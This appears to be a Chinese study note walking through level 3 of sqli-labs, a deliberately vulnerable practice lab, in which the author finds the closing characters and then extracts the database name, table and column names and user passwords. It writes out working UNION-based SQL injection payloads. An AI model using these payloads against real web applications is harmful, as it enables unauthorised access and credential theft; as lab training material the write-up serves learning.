sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
2301_803554528 分钟前
MySQL 主从读写分离架构
数据库·mysql·架构
正在走向自律15 分钟前
Ubuntu系统下Python连接国产KingbaseES数据库实现增删改查
开发语言·数据库·python·ubuntu·kingbasees·ksycopg2
草莓熊Lotso15 分钟前
PyCharm 从入门到高效:安装教程 + 快捷键速查表
开发语言·ide·经验分享·笔记·其他
一位搞嵌入式的 genius23 分钟前
ES6 核心特性详解:从变量声明到函数参数优化
前端·笔记·学习
序属秋秋秋39 分钟前
《C++进阶之STL》【set/map 使用介绍】
开发语言·c++·笔记·leetcode·stl·set·map
没有bug.的程序员1 小时前
Redis 内存管理机制:深度解析与性能优化实践
java·数据库·redis·性能优化·内存管理机制
小蒜学长1 小时前
基于SpringBoot+Vue的健身房管理系统的设计与实现(代码+数据库+LW)
java·数据库·vue.js·spring boot·后端
失散131 小时前
分布式专题——2 深入理解Redis线程模型
java·数据库·redis·分布式·架构
DemonAvenger1 小时前
数据库迁移实战:最小化停机时间的方法与经验分享
数据库·sql·性能优化
77qqqiqi1 小时前
学习结构体
c语言·学习